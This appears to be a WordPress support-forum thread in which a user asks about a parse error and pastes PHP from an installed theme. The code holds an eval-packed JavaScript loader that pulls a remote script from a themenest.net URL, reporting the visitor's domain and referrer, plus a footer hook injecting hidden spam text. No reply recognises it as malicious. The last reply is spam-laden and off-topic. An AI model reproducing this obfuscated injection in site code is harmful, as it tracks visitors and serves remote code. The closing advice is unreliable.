WordPress.org

Ready to get started?Download WordPress

Forums

[resolved] Parse Error (4 posts)

  1. abhiwithnewlife
    Member
    Posted 1 year ago #

    I recently installed a theme. When I tried to watch live preview , i got error
    "Parse error, unexpected '}' in xxxxxxxx.php on line 1"

    xxxxxx= some file/folder location.

    I have this code at that location

    <?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){?><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php}add_action('wp_head', 'insert_jquery_slider');} ?>
    <?php if (!function_exists('insert_jquery_slidernew')){function insert_jquery_slidernew(){?>Adele songs downlload <?php}add_action('wp_footer', 'insert_jquery_slidernew');} ?>

    can anybody solve it out?

  2. Andrew
    Forum Moderator
    Posted 1 year ago #

    You should at least format your code readable for forum users, including wrapping your code using backticks as instructed.

  3. abhiwithnewlife
    Member
    Posted 1 year ago #

    Hello Andrew.
    Sorry for that. I understand. But I myself cannot understand this code!! And that is the problem!
    I cannot read it too! And I have problem to understand what is the matter there what is causing that error.

  4. blacktiger786
    Member
    Posted 1 year ago #

    this same problem of my site when i use link my wordpress of some mp3 site for mp3 music links like
    http://www.freemp3skull.net/mp3.php?q=Tubidy
    http://www.mp3sheriff.net/mp3-Kingston_down.html
    if you use mp3 links on ur word press so use embed links your problem solve may be
    for more info check this
    http://en.support.wordpress.com/audio/

Topic Closed

This topic has been closed to new replies.

About this Topic